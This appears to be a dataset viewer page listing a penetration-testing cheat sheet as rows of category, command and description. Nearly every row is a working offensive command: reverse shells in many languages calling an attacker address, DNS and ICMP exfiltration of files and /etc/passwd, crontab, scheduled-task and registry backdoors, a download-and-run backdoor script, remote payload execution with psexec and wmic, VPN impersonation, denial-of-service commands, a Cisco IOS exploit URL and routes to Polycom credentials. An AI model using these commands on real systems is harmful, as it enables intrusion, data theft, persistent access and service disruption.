category
stringclasses 51
values | command
stringlengths 1
755
| description
stringlengths 3
70
⌀ |
---|---|---|
CISCO Commands
|
dir /all
|
List deleted files
|
CISCO Commands
|
show running-config
|
Display config loaded in memory
|
CISCO Commands
|
show startup-config
|
Display config loaded at boot
|
CISCO Commands
|
show ip interface brief
|
Display interface summary
|
CISCO Commands
|
show interface e0
|
Display detailed interface info
|
CISCO Commands
|
show ip route
|
Display routes
|
CISCO Commands
|
show access-lists
|
Display access lists
|
CISCO Commands
|
terminal length 0
|
No limit on output
|
CISCO Commands
|
copy running-config startup-config
|
Save running config to startup
|
CISCO Commands
|
copy running-config tftp
|
Copy running config to TFTP server
|
CISCO Commands
|
http://ip/level/16-99/exec/show/config
|
Exploit Cisco IOS 11.2-12.2 vulnerability
|
SNMP
|
./snmpblow.pl -s srcip -d rtr_ip -t attackerip -f out.txt snmpstrings.txt
|
SNMP brute force with snmpblow.pl
|
SNMP
|
snmpwalk -c public -v1 ip .1 | grep hrSWRunName | cut -d" " -f4
|
List Windows running services
|
SNMP
|
snmpwalk -c public -v1 ip .1 | grep tcpConnState | cut -d" " -f6 | sort -u
|
List Windows open TCP ports
|
SNMP
|
snmpwalk -c public -v1 ip .1 | grep hrSWInstalledName
|
List Windows installed software
|
SNMP
|
snmpwalk -c public -v1 ip 1.3 | grep --.1.2.25 | cut -d" " -f4
|
List Windows users
|
Packet Capturing
|
tcpdump -nvvX -s0 -i eth0 tcp portrange 22-23
|
Capture TCP traffic on ports 22-23
|
Packet Capturing
|
tcpdump -i eth0 -tttt dst ip and not net 1.1.1.0/24
|
Capture traffic to IP excluding subnet
|
Packet Capturing
|
tcpdump net 192.1.1.0/24
|
Capture traffic between local 192.1.1.0/24
|
Packet Capturing
|
dumpcap -i eth0 -a duration:sec -w file.pcap
|
Capture traffic for specified seconds
|
Packet Capturing
|
file2cable -i eth0 -f file.pcap
|
Replay PCAP file
|
Packet Capturing
|
tcpreplay --topspeed --loop=0 --intf=eth0 pcap_file_to_replay
|
Replay packets (possible DoS)
|
DNS
|
./dnsrecon.rb -t rvs -i 192.1.1.1,192.1.1.20
|
Reverse lookup for IP range
|
DNS
|
./dnsrecon.rb -t std -d domain.com
|
Retrieve standard DNS records
|
DNS
|
./dnsrecon.rb -t brt -d domain.com -w hosts.txt
|
Enumerate subdomains
|
DNS
|
./dnsrecon -d domain.com -t axfr
|
DNS zone transfer
|
DNS
|
nmap -R -sL -Pn -dns-servers dns_svr_ip range | awk '{if(($1" "$2" "$3)=="Nmap scan report") print $5" "$6}' | sed 's/(//g' | sed 's/)//g' > dns.txt
|
Nmap reverse DNS lookup and output parser
|
VPN
|
ike-scan -M -A vpn_ip -P file
|
Write PSK to file
|
VPN
|
ike-scan -A -t 1 --sourceip=spoof_ip dst_ip
|
DoS VPN server
|
VPN
|
if (ip.proto == UDP && udp.src == 500) { kill(); drop(); msg("UDP packet dropped!"); }
|
Ettercap filter to drop IPSEC traffic (UDP 500)
|
VPN
|
etterfilter udpdrop.filter -o udpdrop.ef
|
Compile Ettercap filter
|
VPN
|
ettercap -T -q -M arp -F udpdrop.ef // //
|
Start Ettercap to drop IPSEC traffic
|
VPN
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
Enable IP forwarding
|
VPN
|
iptables -t nat -A PREROUTING -p udp -i eth0 -d VPN_Server_IP -j DNAT --to Attacking_Host_IP; iptables -P FORWARD ACCEPT
|
Configure iptables for port forwarding to Fiked
|
VPN
|
fiked -g vpn_gateway_ip -k VPN_Group_Name:Group_Pre-Shared_Key
|
Start Fiked to impersonate VPN server
|
VPN
|
ettercap -T -M arp // //
|
Restart Ettercap without filter
|
PuTTY
|
[HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\Default%20Settings] "LogFileName"="%TEMP%\\putty.dat" "LogType"=dword:00000002
|
Registry key to log all PuTTY activity
|
File Transfer
|
echo open ip 21 > ftp.txt; echo user >> ftp.txt; echo pass >> ftp.txt; echo bin >> ftp.txt; echo GET file >> ftp.txt; echo bye >> ftp.txt; ftp -s:ftp.txt
|
Execute FTP commands from script file
|
File Transfer
|
ncat ip 21 < ftp.txt
|
Alternative FTP transfer using ncat
|
File Transfer
|
xxd -p secret file.hex
|
Hex encode file on victim (Linux)
|
File Transfer
|
for b in $(cat file.hex); do dig $b.shell.evilexample.com; done
|
DNS lookup for each hex line (victim)
|
File Transfer
|
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
|
Capture DNS exfil packets (attacker)
|
File Transfer
|
tcpdump -r /tmp/dns -n | grep shell.evilexample.com | cut -f9 -d' ' | cut -f1 -d'.' | uniq > received.txt
|
Extract hex from DNS packets (attacker)
|
File Transfer
|
xxd -r -p received.txt keys.pgp
|
Reverse hex encoding (attacker)
|
File Transfer
|
stringZ=$(cat /etc/passwd | od -tx1 | cut -c8- | tr -d " " | tr -d "\n"); counter=0; while [ $counter -lt ${#stringZ} ]; do ping -s 16 -c 1 -p ${stringZ:$counter:16} 192.168.10.10 && counter=$((counter+16)); done
|
Exfil command output over ICMP (victim)
|
File Transfer
|
tcpdump -ntvvSxs 0 'icmp[0]=8' -w data.dmp; grep Ox0020 data.dmp | cut -c21- | tr -d " " | tr -d "\n" | xxd -r -p
|
Capture and parse ICMP exfil (attacker)
|
File Transfer
|
telnet x.x.x.x 25; HELO x.x.x.x; MAIL FROM: [email protected]; RCPT TO: [email protected]; DATA; Thank You.; .; quit
|
Send email via telnet (open mail relay)
|
Reverse Shells
|
nc 10.0.0.1 1234 -e /bin/sh
|
Netcat reverse shell (Linux)
|
Reverse Shells
|
ncat 10.0.0.1 1234 --exec /bin/sh
|
Ncat reverse shell (Linux)
|
Reverse Shells
|
nc 10.0.0.1 1234 -e cmd.exe
|
Netcat reverse shell (Windows)
|
Reverse Shells
|
ncat 10.0.0.1 1234 --exec cmd.exe
|
Ncat reverse shell (Windows)
|
Reverse Shells
|
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
|
Netcat reverse shell without -e option
|
Reverse Shells
|
socat TCP:10.0.0.1:1234 EXEC:/bin/sh
|
Socat reverse shell (Linux)
|
Reverse Shells
|
perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); };'
|
Perl reverse shell (Linux)
|
Reverse Shells
|
perl -MIO -e '$p=fork; exit if $p; $c=new IO::Socket::INET(PeerAddr,"attackerip:4444"); STDIN->fdopen($c,r); $~->fdopen($c,w); system $_ while <>; '
|
Perl reverse shell without /bin/sh
|
Reverse Shells
|
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444"); STDIN->fdopen($c,r); $~->fdopen($c,w); system $_ while <>; '
|
Perl reverse shell (Windows)
|
Reverse Shells
|
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
|
Python reverse shell (Linux)
|
Reverse Shells
|
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
Bash reverse shell
|
Reverse Shells
|
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
|
Java reverse shell
|
Reverse Shells
|
php -r '$sock=fsockopen("10.0.0.1",1234); exec("/bin/sh -i <&3 >&3 2>&3");'
|
PHP reverse shell
|
Reverse Shells
|
ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
Ruby reverse shell (Linux)
|
Reverse Shells
|
ruby -rsocket -e 'exit if fork; c=TCPSocket.new("attackerip","4444"); while(cmd=c.gets); IO.popen(cmd,"r"){|io|c.print io.read} end'
|
Ruby reverse shell without /bin/sh
|
Reverse Shells
|
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444"); while(cmd=c.gets); IO.popen(cmd,"r"){|io|c.print io.read} end'
|
Ruby reverse shell (Windows)
|
Reverse Shells
|
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0</tmp/p | /bin/bash 1>/tmp/p
|
Telnet reverse shell (option 1)
|
Reverse Shells
|
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445
|
Telnet reverse shell (option 2)
|
Reverse Shells
|
xterm -display 10.0.0.1:1; Xnest :1; xhost +victimIP
|
Xterm reverse shell with listener setup
|
Persistence
|
crontab -e; 0-59/10 * * * * nc ip 777 -e /bin/bash
|
Linux persistence via crontab (every 10 min)
|
Persistence
|
sc config schedule start=auto; net start schedule; at 13:30 "C:\nc.exe ip 777 -e cmd.exe"
|
Windows task scheduler persistence (legacy)
|
Persistence
|
schtasks /create /tn "Backdoor" /tr "C:\nc.exe ip 777 -e cmd.exe" /sc daily /st 13:30 /ru System
|
Windows task scheduler persistence (modern)
|
Persistence
|
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\backdoor.exe" /f; at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\backdoor.exe"; SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\backdoor.exe" /ED 12/12/2012
|
Windows persistent backdoor with firewall bypass
|
Persistence
|
wget http://server/backdoor.sh -O - | sh
|
Download and run backdoor script (Linux)
|
Remote Payload Deployment
|
net share payload_share=C:\payload_folder /grant:Everyone,FULL
|
Share payload folder via SMB (victim)
|
Remote Payload Deployment
|
psexec \\remote_ip /u domain\compromised_user /p password "\\payload_ip\test\msf.exe"
|
Execute payload via SMB (psexec)
|
Remote Payload Deployment
|
wmic /node:remote_ip /user:domain\compromised_user /password:password process call create "\\payload_ip\test\msf.exe"
|
Execute payload via SMB (wmic)
|
Remote Payload Deployment
|
use auxiliary/server/webdav_file_server; set localexe true; set localfile payload; set localroot payload_directory; set disablePayloadHandler true; run; psexec \\remote_ip /u domain\compromised_user /p password "\\payload_ip\test\msf.exe"
|
Deploy payload via WebDAV (Metasploit)
|
Tunneling
|
fpipe.exe -l 1234 -r 80 2.2.2.2
|
Listen on 1234, forward to port 80
|
Tunneling
|
socks.exe -i 1.1.1.1 -p 8080
|
SOCKS proxy on redirector (1.1.1.1:8080)
|
Tunneling
|
proxychains4 nmap -Pn -vv -sT -p 22,135,139,445 2.2.2.2
|
Scan intranet through SOCKS proxy
|
Tunneling
|
socat TCP4-LISTEN:1234 TCP4:2.2.2.2:80
|
Listen on 1234, forward to port 80
|
Tunneling
|
echo -e "[netcat client]\nclient = yes\naccept = 5555\nconnect = listening_ip:4444" > /etc/stunnel/stunnel.conf; echo -e "[netcat server]\nclient = no\naccept = 4444\nconnect = 127.0.0.1:4444" > /etc/stunnel/stunnel.conf; stunnel; nc -vlp 4444
|
SSL encapsulated netcat tunnel
|
Google Hacking
|
numrange:[#]-[#]
|
Search within a number range
|
Google Hacking
|
date:[#]
|
Search within past [#] months
|
Google Hacking
|
link:[url]
|
Find pages that link to [url]
|
Google Hacking
|
related:[url]
|
Find pages related to [url]
|
Google Hacking
|
intitle:[string]
|
Find pages with [string] in title
|
Google Hacking
|
inurl:[string]
|
Find pages with [string] in URL
|
Google Hacking
|
filetype:[xls]
|
Find files of type xls
|
Google Hacking
|
phonebook:[name]
|
Find phone book listings of [name]
|
Video Teleconferencing
|
telnet ip
|
Polycom: Enter 1 char to get uname:pwd
|
Video Teleconferencing
|
http://ip/getsecure.cgi
|
Polycom: Access secure config
|
Video Teleconferencing
|
http://ip/erarcl.htm
|
Polycom: Access remote control
|
Video Teleconferencing
|
http://ip/asecurity.htm
|
Polycom: Access security settings
|
Video Teleconferencing
|
http://ip/arc.htm
|
Polycom: Access remote control
|
Video Teleconferencing
|
http://ip/firmwareVersion
|
Polycom: Check firmware version
|
Video Teleconferencing
|
http://ip/snapctrl.ssi
|
Tandberg: Access snapshot control
|
Video Teleconferencing
|
http://ip/command/visca-gen.cgi?visca=8101046202FF
|
Sony Webcam: Freeze camera
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.